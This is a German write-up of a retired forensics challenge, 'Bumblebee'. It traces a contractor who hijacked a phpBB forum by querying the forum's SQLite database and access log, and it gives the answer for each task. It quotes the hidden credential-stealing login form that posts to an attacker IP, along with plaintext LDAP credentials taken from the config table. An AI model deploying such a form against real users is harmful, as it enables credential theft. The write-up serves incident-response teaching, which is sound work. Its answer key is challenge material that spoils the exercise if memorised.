bumblebee
Veröffentlicht | 2023-11-13 | |
Retired | 2024-01-04 | |
Autor | blitztide |
Szenario
Task 01
Frage: Was war der Benutzername des externen Auftragnehmers?
Original: What was the username of the external contractor?
Teil der Daten ist auch die sqlite Datenbank des Forums.
sqlite> select user_id, user_type, user_ip, user_regdate, username_clean, user_email from phpbb_users where user_ip != "";
2|3|10.255.254.2|1681296980|admin|admin@forela.co.uk
48|3|10.255.254.2|1681298337|phpbb-admin|phpbb-admin@mailinator.com
49|0|10.255.254.2|1681298949|test|
50|0|10.255.254.2|1681827495|rsavage001|
51|0|10.10.0.78|1682420899|apoole|apoole@contractor.net
52|0|10.10.0.78|1682424941|apoole1|apoole1@contractor.net
Antwort: apoole1
Task 02
Frage: Welche IP-Adresse hat der Auftragnehmer verwendet, um sein Konto zu erstellen?
Original: What IP address did the contractor use to create their account?
Mit Hilfe des Query aus Task 1 kann ebenfalls die zuletzt genutzte IP des Nutzers aus der gleichen Tabelle phpbb_users
ausgelesen werden.
Antwort: 10.10.0.78
Task 03
Frage: Was ist die post_id des schädlichen Beitrags, den der Auftragnehmer erstellt hat?
Original: What is the post_id of the malicious post that the contractor made?
In der gleichen Datenbank werden auch die einzelnen Posts des Forums gelistet. Dazu kann die phpbb_posts
Tabelle ausgelesen und gefiltert werden.
sqlite> select post_id, poster_id, poster_ip, post_time, post_subject from phpbb_posts;
1|2|10.255.254.2|1681296980|Welcome to phpBB3
2|50|10.255.254.2|1681832510|Introduction Randy Savage
9|52|10.10.0.78|1682425042|Hello Everyone
Der einzige Post von der bekannten poster_id (entspricht der user_id aus Task 1) von der bekannten IP ist der letzte Post mit dem Titel “Hello Everyone”.
Antwort: 9
Task 04
Frage: Was ist die vollständige URI, zu der der Credential-Stealer seine Daten sendet?
Original: What is the full URI that the credential stealer sends its data to?
Zur Analyse des Posts der zum Diebstahl der Zugangsdaten genutzt wurde muss post_text
aus der zuvor genannten Tabelle phpbb_posts
ausgewertet werden. Hierbei handelt es sich, anders als bei den anderen Posts, um einen Beitrag der um nicht-sichtbares HTML+JS ergänzt wurde und so im Forum dargestellt wurde. Interessant ist hierbei das nachfolgende form
Element
<form action="http://10.10.0.78/update.php" method="post" id="login" data-focus="username"
target="hiddenframe">
<div class="panel">
<div class="inner">
<div class="content">
<h2 class="login-title">Login</h2>
<fieldset class="fields1">
<dl>
<dt><label for="username">Username:</label></dt>
<dd><input type="text" tabindex="1" name="username" id="username" size="25"
value="" class="inputbox autowidth"></dd>
</dl>
<dl>
<dt><label for="password">Password:</label></dt>
<dd><input type="password" tabindex="2" id="password" name="password" size="25"
class="inputbox autowidth" autocomplete="off"></dd>
</dl>
<dl>
<dd><label for="autologin"><input type="checkbox" name="autologin"
id="autologin" tabindex="4">Remember me</label></dd>
<dd><label for="viewonline"><input type="checkbox" name="viewonline"
id="viewonline" tabindex="5">Hide my online status this
session</label></dd>
</dl>
<dl>
<dt> </dt>
<dd><input type="submit" name="login" tabindex="6" value="Login"
class="button1" onclick="sethidden()"></dd>
</dl>
</fieldset>
</div>
</div>
</div>
</form>
Antwort: http://10.10.0.78/update.php
Task 05
Frage: Wann hat sich der Auftragnehmer als Administrator im Forum angemeldet? (UTC)
Original: When did the contractor log into the forum as the administrator? (UTC)
Für den Zeitpunkt des Logins kann das access.log
, eine Protokolldatei die Zugriffe im Common Log Format archiviert hat, ausgewertet werden. Besonders interessant für den Login eines Administrators sind dabei die Anfragen die auf einen besonders geschützen Bereich gehen, in diesem Fall /adm/
.
|
|
Durch die Angabe +0100 muss zur Ausgabe der geforderten UTC Zeit die angezeigte Zeit korrigiert werden.
Antwort: 26/04/2023 10:53:12
Task 06
Frage: Im Forum befinden sich im Klartext Zugangsdaten für die LDAP-Verbindung. Was ist das Passwort?
Original: In the forum there are plaintext credentials for the LDAP connection, what is the password?
Hierfür kann die Konfigurationstabelle phpbb_config
ausgelesen werden und nach Angaben zu LDAP gesucht werden.
sqlite> select * from phpbb_config where config_name like "%ldap%";
ldap_base_dn|OU=Forela,DC=forela,DC=local|0
ldap_email||0
ldap_password|Passw0rd1|0
ldap_port||0
ldap_server|10.10.0.11|0
ldap_uid|sAMAccountName|0
ldap_user|CN=phpbb-admin,OU=Service,OU=Forela,DC=forela,DC=local|0
ldap_user_filter||0
Antwort: Passw0rd1
Task 07
Frage: Was ist der User Agent des Administrator-Benutzers?
Original: What is the user agent of the Administrator user?
Teil der in Task 5 genutzten access.log
Datei sind auch die User Agents der Anfragen.
|
|
Antwort: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Task 08
Frage: Wann hat der Auftragnehmer sich selbst zur Administrator-Gruppe hinzugefügt? (UTC)
Original: What time did the contractor add themselves to the Administrator group? (UTC)
Den Zeitpunkt für die Aktion kann ebenfalls aus der access.log
abgelesen werden, zusätzlich muss hierbei der Pfad und die Parameter der Anfragen beachtet werden. Hierfür können zusätzliche Informationen aus der SQLite Datenbank genutzt werden.
sqlite> select group_id, group_name from phpbb_groups;
6|BOTS
1|GUESTS
7|NEWLY_REGISTERED
2|REGISTERED
3|REGISTERED_COPPA
5|ADMINISTRATORS
4|GLOBAL_MODERATORS
Der zugehörige POST
Request enthält die oben gefundene group_id 5 sowie einen Parameter i=acp_groups
und die Anwesiungen mode=manage
sowie action=list
was auf eine Änderung der Mitgliedsliste einer Gruppe deutet.
|
|
Eine weitere Option diese Information zu erhalten stellt das interne Log der SQLite Datenbank dar.
sqlite> select * from phpbb_log;
49|0|48|0|0|0|0|10.255.254.2|1682352616|LOG_CLEAR_ADMIN|
50|0|48|0|0|0|0|10.255.254.2|1682353038|LOG_CONFIG_REGISTRATION|
51|0|48|0|0|0|0|10.255.254.2|1682353166|LOG_ACL_ADD_FORUM_LOCAL_F_|a:2:{i:0;s:7:"Welcome";i:1;s:41:"<span class="sep">Registered users</span>";}
52|0|48|0|0|0|0|10.255.254.2|1682420947|LOG_ADMIN_AUTH_SUCCESS|
53|3|48|0|0|0|51|10.255.254.2|1682420960|LOG_USER_NEW_PASSWORD|a:1:{i:0;s:6:"apoole";}
54|0|48|0|0|0|0|10.255.254.2|1682420962|LOG_USER_USER_UPDATE|a:1:{i:0;s:6:"apoole";}
55|0|48|0|0|0|0|10.255.254.2|1682420963|LOG_USER_USER_UPDATE|a:1:{i:0;s:6:"apoole";}
56|0|48|0|0|0|0|10.255.254.2|1682423167|LOG_EXT_ENABLE|a:1:{i:0;s:13:"rokx/dborldap";}
57|0|48|0|0|0|0|10.255.254.2|1682423251|LOG_CONFIG_AUTH|
58|3|48|0|0|0|51|10.255.254.2|1682423286|LOG_USER_NEW_PASSWORD|a:1:{i:0;s:6:"apoole";}
59|0|48|0|0|0|0|10.255.254.2|1682423286|LOG_USER_USER_UPDATE|a:1:{i:0;s:6:"apoole";}
60|0|48|0|0|0|0|10.255.254.2|1682424836|LOG_CONFIG_AUTH|
61|0|48|0|0|0|0|10.10.0.78|1682506392|LOG_ADMIN_AUTH_SUCCESS|
62|0|48|0|0|0|0|10.10.0.78|1682506431|LOG_USERS_ADDED|a:2:{i:0;s:14:"Administrators";i:1;s:6:"apoole";}
63|0|48|0|0|0|0|10.10.0.78|1682506471|LOG_DB_BACKUP|
Der hier genutzte Timestamp ist in Unixzeit angegeben, die die vergangenen Sekunden seit dem 01.01.1970 zählt.
# date -u -d @1682506431
Wed Apr 26 10:53:51 AM UTC 2023
Antwort: 26/04/2023 10:53:51
Task 09
Frage: Wann hat der Auftragnehmer die Datenbank-Sicherung heruntergeladen? (UTC)
Original: What time did the contractor download the database backup? (UTC)
Aus dem SQLite Log der phpbb Anwendung ist das Erstellen eines Backups um 10:54:31
ersichtlich, der Download muss also danach geschehen sein.
# date -u -d @1682506471
Wed Apr 26 10:54:31 AM UTC 2023
Dazu kann das access.log
genutzt werden und dabei auf URL Pfade oder Dateinamen geachtet werden die auf eine Backup deuten.
|
|
Antwort: 26/04/2023 11:01:38
Task 10
Frage: Wie groß war die Datenbanksicherung in Bytes, wie in der access.log angegeben?
Original: What was the size in bytes of the database backup as stated by access.log?
Die Anfrage aus Task 9 liefert die Dateigröße gemäß Dokumentation an Stelle 7, wobei die Stellen 2 und 3 durch “-
” als nicht-vorhandene Information gekennzeichnet sind.
Antwort: 34707